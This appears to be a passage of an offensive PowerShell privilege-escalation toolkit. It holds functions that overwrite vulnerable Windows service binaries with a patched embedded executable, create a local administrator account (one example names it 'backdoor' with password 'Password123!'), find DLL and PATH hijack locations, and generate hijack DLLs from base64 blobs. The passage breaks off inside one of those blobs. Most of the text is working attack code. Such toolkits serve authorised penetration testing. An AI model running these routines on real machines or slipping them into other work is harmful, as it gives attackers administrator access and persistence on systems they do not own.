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" + [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary) + } + + process { + if(-not $Command) { + if($UserName.Contains("\")) { + # adding a domain user to the local group, no creation + $Command = "net localgroup $LocalGroup $UserName /add" + } + else { + # creating a local user and adding to the local group + $Command = "net user $UserName $Password /add && timeout /t 2 && net localgroup $LocalGroup $UserName /add" + } + } + + # get the unicode byte conversions of all arguments + $Enc = [System.Text.Encoding]::Unicode + $ServiceNameBytes = $Enc.GetBytes($ServiceName) + $CommandBytes = $Enc.GetBytes($Command) + + # patch all values in to their appropriate locations + for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) { + # service name offset = 2458 + $Binary[$i+2458] = $ServiceNameBytes[$i] + } + for ($i=0; $i -lt ($CommandBytes.Length); $i++) { + # cmd offset = 2535 + $Binary[$i+2535] = $CommandBytes[$i] + } + + try { + Set-Content -Value $Binary -Encoding Byte -Path $ServicePath -Force + } + catch { + $Msg = "Error while writing to location '$ServicePath': $_" + Write-Warning $Msg + $Command = $Msg + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'Command' $Command + $Out + } +} + + +function Install-ServiceBinary { +<# + .SYNOPSIS + + Users Write-ServiceBinary to write a C# service that creates a local UserName + and adds it to specified LocalGroup or executes a custom command. + Domain users are only added to the specified LocalGroup. + + .PARAMETER ServiceName + + The service name to manipulate. Required. + + .PARAMETER UserName + + The [DOMAIN\username] to add, defaults to 'john'. + + .PARAMETER Password + + The password to set for the added user, default to 'Password123!'. + + .PARAMETER LocalGroup + + Local group to add the user to, defaults to 'Administrators'. + + .PARAMETER Command + + A custom command to execute. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC + + Replaces the binary for VulnSVC with one that adds a local administrator + to the local directory. Also backs up the original service binary. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" + + Replaces the binary for VulnSVC with one that adds TESTLAB\john to the local + administrators to the local directory. Also backs up the original service binary. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! + + Replaces the binary for VulnSVC with one that adds a local administrator of + name 'backdoor' with password 'Password123!' to the local directory. + Also backs up the original service binary. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..." + + Replaces the binary for VulnSVC with one that executes a local command + to the local directory. Also backs up the original service binary. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $UserName = "john", + + [String] + $Password = "Password123!", + + [String] + $LocalGroup = "Administrators", + + [String] + $Command + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if ($TargetService){ + try { + + $ServicePath = ($TargetService.PathName.Substring(0, $TargetService.PathName.IndexOf(".exe") + 4)).Replace('"',"") + $BackupPath = $ServicePath + ".bak" + + Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" + try { + Move-Item -Path $ServicePath -Destination $BackupPath -Force + } + catch { + Write-Warning "[*] Original path '$ServicePath' for '$ServiceName' does not exist!" + } + + $Arguments = @{ + 'ServiceName' = $ServiceName + 'ServicePath' = $ServicePath + 'UserName' = $UserName + 'Password' = $Password + 'LocalGroup' = $LocalGroup + 'Command' = $Command + } + # splat the appropriate arguments to Write-ServiceBinary + $Result = Write-ServiceBinary @Arguments + $Result | Add-Member Noteproperty 'BackupPath' $BackupPath + $Result + } + catch { + Write-Warning "Error: $_" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'Command' $_ + $Out | Add-Member Noteproperty 'BackupPath' $BackupPath + $Out + } + } + else{ + Write-Warning "Target service '$ServiceName' not found on the machine" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' "Not found" + $Out | Add-Member Noteproperty 'Command' "Not found" + $Out | Add-Member Noteproperty 'BackupPath' $Null + $Out + } + } +} + + +function Restore-ServiceBinary { +<# + .SYNOPSIS + + Copies in the backup executable to the original binary path for a service. + + .PARAMETER ServiceName + + The service name to manipulate. Required. + + .PARAMETER BackupPath + + Optional manual path to the backup binary. + + .EXAMPLE + + PS C:\> Restore-ServiceBinary -ServiceName VulnSVC + + Restore the original binary for the service 'VulnSVC' +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $BackupPath + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if ($TargetService){ + try { + + $ServicePath = ($TargetService.PathName.Substring(0, $TargetService.PathName.IndexOf(".exe") + 4)).Replace('"',"") + + if ($BackupPath -eq $null -or $BackupPath -eq ''){ + $BackupPath = $ServicePath + ".bak" + } + + Copy-Item -Path $BackupPath -Destination $ServicePath -Force + Remove-Item -Path $BackupPath -Force + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'BackupPath' $BackupPath + $Out + } + catch{ + Write-Warning "Error: $_" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $_ + $Out | Add-Member Noteproperty 'BackupPath' $Null + $Out + } + } + else{ + Write-Warning "Target service '$ServiceName' not found on the machine" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' "Not found" + $Out | Add-Member Noteproperty 'BackupPath' $Null + $Out + } + } +} + + +######################################################## +# +# .dll Hijacking +# +######################################################## + +function Find-DLLHijack { +<# + .SYNOPSIS + + Checks all loaded modules for each process and returns locations + where a loaded module does not exist in the executable base path. + + .PARAMETER ExcludeWindows + + Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* + + .PARAMETER ExcludeProgramFiles + + Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + + .PARAMETER ExcludeOwned + + Exclude processes the current user owns. + + .EXAMPLE + + PS C:\> Find-DLLHijack + + Finds all hijackable DLL locations. + + .EXAMPLE + + PS C:\> Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles + + Finds all hijackable DLL locations not in C:\Windows\* and + not in C:\Program Files\* or C:\Program Files (x86)\* + + .EXAMPLE + + PS C:\> Find-DLLHijack -ExcludeOwned + + Finds .DLL hijacking opportunities for processes not owned by the + current user. + + .LINK + + https://www.mandiant.com/blog/malware-persistence-windows-registry/ +#> + + [CmdletBinding()] + Param( + [Switch] + $ExcludeWindows, + + [Switch] + $ExcludeProgramFiles, + + [Switch] + $ExcludeOwned + ) + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # the known DLL cache to exclude from our findings + # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx + $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") + $KnownDLLs = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name) }) | Where-Object { $_.EndsWith(".dll") } + + # grab the current user + $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name + + # get the owners for all processes + $Owners = @{} + Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object {$Owners[$_.handle] = $_.getowner().user} + + + # iterate through all current processes that have a valid path + ForEach ($Process in Get-Process | Where-Object {$_.Path}) { + + # get the base path for the process + $BasePath = $Process.Path | Split-Path -Parent + + # get all the loaded modules for this process + $LoadedModules = $Process.Modules + + # pull out the owner of this process + $ProcessOwner = $Owners[$Process.id.tostring()] + + # check each loaded module + ForEach ($Module in $LoadedModules){ + + # create a basepath + loaded module + $ModulePath = "$BasePath\$($module.ModuleName)" + + # if the new module path + if ((-not $ModulePath.Contains("C:\Windows\System32")) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { + + $Exclude = $False + + # check exclusion flags + if ( $ExcludeWindows.IsPresent -and $ModulePath.Contains("C:\Windows") ){ + $Exclude = $True + } + if ( $ExcludeProgramFiles.IsPresent -and $ModulePath.Contains("C:\Program Files") ){ + $Exclude = $True + } + if ( $ExcludeOwned.IsPresent -and $CurrentUser.Contains($ProcessOwner) ){ + $Exclude = $True + } + + # output the process name and hijackable path if exclusion wasn't marked + if (-not $Exclude){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ProcessPath' $Process.Path + $Out | Add-Member Noteproperty 'Owner' $ProcessOwner + $Out | Add-Member Noteproperty 'HijackablePath' $ModulePath + $Out + } + } + } + } + + $ErrorActionPreference = $OrigError +} + + +function Find-PathHijack { +<# + .SYNOPSIS + + Checks if the current %PATH% has any directories that are + writeable by the current user. + + .EXAMPLE + + PS C:\> Find-PathHijack + + Finds all %PATH% .DLL hijacking opportunities. + + .LINK + + http://www.greyhathacker.net/?p=738 +#> + + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $Paths = (Get-Item Env:Path).value.split(';') | Where-Object {$_ -ne ""} + + ForEach ($Path in $Paths){ + + $Path = $Path.Replace('"',"") + if (-not $Path.EndsWith("\")){ + $Path = $Path + "\" + } + + # reference - http://stackoverflow.com/questions/9735449/how-to-verify-whether-the-share-has-write-access + $TestPath = Join-Path $Path ([IO.Path]::GetRandomFileName()) + + # if the path doesn't exist, try to create the folder before testing it for write + if(-not $(Test-Path -Path $Path)){ + try { + # try to create the folder + $Null = New-Item -ItemType directory -Path $Path + echo $Null > $TestPath + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'HijackablePath' $Path + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" + $Out + } + catch {} + finally { + # remove the directory + Remove-Item -Path $Path -Recurse -Force -ErrorAction SilentlyContinue + } + } + else{ + # if the folder already exists + try { + echo $Null > $TestPath + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'HijackablePath' $Path + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" + $Out + } + catch {} + finally { + # Try to remove the item again just to be safe + Remove-Item $TestPath -Force -ErrorAction SilentlyContinue + } + } + } + + $ErrorActionPreference = $OrigError +} + + +function Write-HijackDll { +<# + .SYNOPSIS + + Writes out a self-deleting 'debug.bat' file that executes a given command to + $env:Temp\debug.bat, and writes out a hijackable .dll that launches the .bat. + + .PARAMETER OutputFile + + File name to write the .dll to. + + .PARAMETER Command + + Command to run in the .bat launcher. + + .PARAMETER BatPath + + Path to the .bat for the .dll to launch. + + .PARAMETER Arch + + Architeture of .dll to generate, x86 or x64. If not specified, will try to + automatically determine. +#> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [String] + $OutputFile, + + [Parameter(Mandatory = $True)] + [String] + $Command, + + [String] + $BatPath, + + [String] + $Arch + ) + + function local:Invoke-PatchDll { + <# + .SYNOPSIS + + Patches a string in a binary byte array. + + .PARAMETER DllBytes + + Binary blog to patch. + + .PARAMETER FindString + + String to search for to replace. + + .PARAMETER ReplaceString + + String to replace FindString with + #> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [Byte[]] + $DllBytes, + + [Parameter(Mandatory = $True)] + [String] + $FindString, + + [Parameter(Mandatory = $True)] + [String] + $ReplaceString + ) + + $FindStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($FindString) + $ReplaceStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($ReplaceString) + + $Index = 0 + $S = [System.Text.Encoding]::ASCII.GetString($DllBytes) + $Index = $S.IndexOf($FindString) + + if($Index -eq 0) + { + throw("Could not find string $FindString !") + } + + for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) + { + $DllBytes[$Index+$i]=$ReplaceStringBytes[$i] + } + + return $DllBytes + } + + # generate with base64 -w 0 hijack32.dll > hijack32.b64 + $DllBytes32 = "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